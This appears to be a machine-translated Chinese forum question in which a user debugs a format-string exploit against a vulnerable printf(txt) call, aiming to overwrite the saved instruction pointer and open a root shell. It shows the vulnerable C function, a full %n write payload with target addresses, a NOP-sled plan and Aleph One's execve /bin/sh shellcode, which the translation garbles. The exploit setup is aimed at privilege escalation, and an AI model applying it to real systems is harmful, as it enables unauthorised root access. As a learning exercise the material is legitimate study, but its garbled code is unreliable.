我在禁用了堆棧隨機化的環境中運行此操作,並使用與AlephOne的緩衝區溢出兼容的gcc版本 - 效果很好!格式字符串利用 - 打開root shell
我想用包含我的shellcode的數組地址覆蓋指令指針寄存器(eip)。儘管如此,我總是會遇到分段錯誤。以下是我試圖利用的代碼片段:
//Prints version
static
void print_version(char* cmd)
{
char txt[640+1];
snprintf(txt, 640, "Submission program version 0.1 (%s)\n", cmd);
printf(txt);
}
我正在通過execve()調用該函數。格式字符串是這裏的argv [0],它被成功傳遞給上面的函數。
我在此格式的字符串:
\x0c\xdc\xbf\xffjunk\x0d\xdc\xbf\xffjunk\x0e\xdc\xbf\xffjunk\x0f\xdc\xbf\xff%8x%8x%120x%n%5x%n%230x%n%64x%n
後跟200個的NOP,shellcode的和剩餘陣列與所述NOP指令爲好。
shellcode的是阿萊夫一個代碼:
static char shellcode[] =
「\ XEB \ X1F \ x5e \ X89 \ X76 \ X08 \ X31 \ XC0 \ X88 \ X46 \ X07 \ X89 \ X46 \ X0C \ XB0 \ x0b「 」\ x89 \ xf3 \ x8d \ x4e \ x08 \ x8d \ x56 \ x0c \ xcd \ x80 \ x31 \ xdb \ x89 \ xd8 \ x40 \ xcd「 」\ x80 \ xe8 \ xdc \ xff \ xff \ XFF/bin/sh的「;
回到格式字符串,我覆蓋了4個地址0xffbfdc0c到0xffbfdc0f。 0xffbfdc0c是我通過在頂部提到的print_version()函數上設置斷點找到的保存的eip地址。
我試圖用地址0xffbfdcd4替換它,它在print_version的txt []數組的基地址之上150字節之後(在該函數和格式字符串中計算txt []的初始字符之後)希望它可能會在shellcode之前的NOP中出現)。
我剛剛結束了SEG故障。我不知道如何進一步處理,或者我應該如何調試以確定它是否實際覆蓋了預期地址的值。
編輯:我使用正確的格式字符串?
任何人都可以告訴我如何檢查地址使用GDB後,我的程序已經產生了一個段故障或正好在一個段故障之前,但地址改變後?
謝謝。
是的,它實際上是傳遞給上述函數的argv [0]。我使用execve(「weak」,argv [],env)將格式字符串提供爲argv [0]。有點不規範的方法,但是設置argv [0]仍然執行程序。 – user2327683
我可以在seg故障後檢查地址,不幸的是格式字符串無法工作(值與以前相同)。我很難過。 – user2327683
關於該標誌,我只是將-ggdb和-Wall參數傳遞給gcc。 – user2327683